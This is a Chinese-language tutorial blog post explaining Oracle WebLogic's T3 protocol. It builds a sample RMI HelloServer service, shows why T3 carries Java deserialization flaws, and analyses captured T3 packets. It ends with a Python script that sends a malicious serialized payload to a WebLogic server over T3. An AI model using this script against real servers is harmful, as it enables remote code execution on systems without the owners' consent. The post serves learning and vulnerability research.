0x00 前言 因为涉及RMI和JNDI的基础知识,推荐先阅读下:
RMI
JNDI
0x01 什么是T3协议? T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。
WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。
0x02 怎么调用T3服务? 参考官方 给的例子写个测试例子,该例子将HelloServer服务绑定在jndi上进行管理,方便调用t3的HelloServer服务。
首先创建Maven项目
填写信息,选择目录,finish创建完成
Hello.java:Hello继承Remote接口
Hello.java 1 2 3 4 5 package Pocs.WebLogic.t3;public interface Hello extends java .rmi .Remote { public String sayHello () throws java.rmi.RemoteException ; }
HelloImpl.java:实现远程接口Hello,Hello服务的具体信息
HelloImpl.java 1 2 3 4 5 6 7 8 9 10 11 package Pocs.WebLogic.t3;import java.rmi.RemoteException;public class HelloImpl implements Hello { @Override public String sayHello () throws RemoteException { System.out.println("hello" ); return "Hello!" ; } }
Server.java:创建HelloImpl类的实例并在JNDI registry中以HelloServer注册。
Server.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package Pocs.WebLogic.t3;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class Server { public final static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory" ; public static void main (String[] args) { try { Context ctx = getInitialContext("t3://192.168.116.140:7001" ); ctx.bind("HelloServer" , new HelloImpl()); System.out.println("HelloImpl created and bound to the JNDI" ); } catch (Exception e) { System.out.println("HelloImpl.main: an exception occurred!" ); e.printStackTrace(System.out); } } private static InitialContext getInitialContext (String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } }
Client.java:找到HelloServer服务然后去调用
Client.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package Pocs.WebLogic.t3;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class Client { public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory" ; public Client () { } public static void main (String[] args) throws Exception { try { InitialContext ic = getInitialContext("t3://192.168.116.140:7001" ); Hello obj = (Hello) ic.lookup("HelloServer" ); System.out.println("Successfully connected to HelloServer , call sayHello() : " + obj.sayHello()); } catch (Exception ex) { System.err.println("An exception occurred: " + ex.getMessage()); throw ex; } } private static InitialContext getInitialContext (String url) throws NamingException { Hashtable<String, String> env = new Hashtable<String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } }
修改pom.xml:
pom.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?xml version="1.0" encoding="UTF-8"?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > Pocs.WebLogic.t3</groupId > <artifactId > t3</artifactId > <version > 1.0-SNAPSHOT</version > <build > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-compiler-plugin</artifactId > <configuration > <source > 1.8</source > <target > 1.8</target > </configuration > </plugin > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-jar-plugin</artifactId > <configuration > <archive > <manifest > <addClasspath > true</addClasspath > <useUniqueVersions > false</useUniqueVersions > <classpathPrefix > lib/</classpathPrefix > <mainClass > Pocs.WebLogic.t3.Server</mainClass > </manifest > </archive > </configuration > </plugin > </plugins > </build > </project >
mvn package生成jar包,将jar包放在域的lib下
然后在WebLogic console下新增一个启动类,类名要写全名,选择adminserver
重启weblogic(可以先不重启看下有没有,我忘了到底重启没)找到JNDI
可以看到AdminServer下多了HelloServer,这时候证明HelloServer在Weblogic的JNDI注册成功
这时可以执行Client.java,客户端成功调用HelloServer服务。如果报错的话,提示没有WLInitialContextFactory类,因为客户端调用了weblogic.jndi.WLInitialContextFactory,所以要加下weblogic的jar,可以把weblogic的wlserver/server/lib下的jar包拷贝出来放到一个目录然后加到Libraries下,我用的是之前某次远程分析时候的jar,版本是10.3.6。
至此,我们成功利用调用了weblogic的T3下的服务。
0x03 WebLogic T3和反序列化的关系? 学习RMI的时候我们已经了解RMI的原理 :
将可以远程调用的对象进行序列化,然后绑定到RMI Server(被调方,运行者)中作为存根(stub)
RMI Client 会先去下载stub反序列化 然后发起client调用,RMI 底层(RMI Interface Layer & Transport Layer)会讲请求参数封装发送到RMI Server
RMI Server 接收到封装的参数,传递给骨架(skeleton),由桩解析参数并且以参数调用对应的存根(stub)方法。
存根方法在RMI Server执行完毕之后,返回结果将被RMI底层封装并传输给RMI Client(也就是主调方,调用者)
可以看出:RMI是基于序列化和反序列化的,远程对象在进行注册时,序列化作为存根,客户端调用的时候会把序列化后的对象进行反序列化再调用 ,T3一样的道理,所以同样会在客户端调用服务的时候进行反序列化获取对象。到这一步搞懂了为什么webLogic T3会被爆出反序列化漏洞。
0x04 怎么构造payload并通过T3执行命令? 构造恶意数据并发送想要先分析如何与T3建立连接并发送包。
分析T3包 构造T3包,首先分析流量,执行client.java,用wireshark进行抓包,并跟踪TCP流,下图是以ASCII码形式显示
红色是本地(192.168.116.1)发送的包,蓝色是接收的来自服务器(192.168.116.140)的包,我们一一分析
首先和目标服务器建立连接,然后本地发送T3协议头,由上图观察可以注意到这里结尾是两个\n
1 t3 10.3.6\nAS:255\nHL:19\n\n
服务器监听,收到请求并发送数据,我们可以得到服务器的版本12.2.1.4
1 2 3 4 5 HELO:12.2.1.4.false AS:2048 HL:19 MS:10000000 PN:DOMAIN
分析到这里我不是很懂后面部分是怎么进行,参考了下修复weblogic的JAVA反序列化漏洞的多种方法#对JAVA序列化数据进行解析 ,通过ac ed 00 05
可以筛选出请求的反序列化部分
自己也跟着实践了下,用之前学习Java序列化的例子来构造了一个序列化数据,发现确实是以aced0005
开始
接着继续跟着学习,发现优秀的表哥已经把这个分析的很明白了
分析下图发送的包由三部分构成:
包第一部分-由包的大小和其他数据组成。整个包的大小是前四个字节00 00 02 7c
第二部分以ac ed 00 05
开始的序列化部分
第三部分以ac ed 00 05
开始的序列化部分
构造T3包 构造包,表哥给了两种方法:
1 2 第一种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第二到三部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。 第二种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
为了简单,我选择第二种方法进行构造,即将 包第一部分-由包的大小和其他数据组成 和 恶意序列化数据 拼接
参考脚本,经过上面的分析,可以总结下流程
用socket建立TCP连接
发送T3协议头
将恶意数据按照第二种方法拼接在第一部分之后
获取整个包的长度,然后替换第一部分的前四个字节
最后发送数据
我们便可以构造出通用的T3包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import binasciiimport socketimport timedef exp (ip, port, file) : t3_header = 't3 10.3.6\nAS:255\nHL:19\n\n' host = (ip, int(port)) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(15 ) sock.connect(host) sock.send(t3_header.encode('utf-8' )) time.sleep(1 ) resp1 = sock.recv(1024 ) data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000' with open(file, 'rb' ) as f: payload = binascii.b2a_hex(f.read()).decode('utf-8' ) data = data1 + payload data = '%s%s' % ('{:08x}' .format(len(data) // 2 + 4 ), data) sock.send(binascii.a2b_hex(data)) if __name__ == '__main__' : exp('192.168.116.132' ,'7001' ,'poc.ser' )
0x05 参考链接: Developing T3 Clients
How to Implement WebLogic RMI
关于引用WebLogic.jar时遇到NoClassDefFoundError问题的解决方法
wireshark解析TCP的几种状态
What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.
修复weblogic的JAVA反序列化漏洞的多种方法#对JAVA序列化数据进行解析
Java反序列化个人总结
二进制和 ASCII 码互转